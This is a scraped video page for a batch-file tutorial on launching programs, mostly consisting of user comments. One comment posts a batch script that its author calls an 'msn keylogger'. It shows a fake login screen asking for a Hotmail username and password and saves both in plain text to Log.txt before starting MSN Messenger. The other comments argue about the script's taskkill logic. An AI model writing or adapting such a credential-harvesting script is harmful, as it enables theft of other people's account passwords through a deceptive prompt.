Tutorial - Run programs with a Batch file
Loading...
2,471
Loading...
Uploader Comments (darkoty)
see all
All Comments (4)
-
ty so much, now i got my own msn keylogger (; @echo off color a title Login cls Echo Your @hotmail and password for the program to start. Echo. set /p user=Username: echo. set /p pass=Password: echo Username="%user%" Password="%pass%" >Log.txt pause echo. echo Want to start Msn? echo. pause set Programm=msnmsgr.exe tasklist |find /i "%Programm%" >nul if %errorlevel% == 0 ( taskkill /IM %Programm% ) else ( start %Programm% ) exit
-
Thanks
Loading...
This code does not only run the program, it kills its process if it is already running. Pretty useless in my opinion. The last command is the only necessary one.
GrellesLicht28 1 year ago
@GrellesLicht28 if you have a problem with that you can leave the taskkill command an then you are happy.
darkoty 11 months ago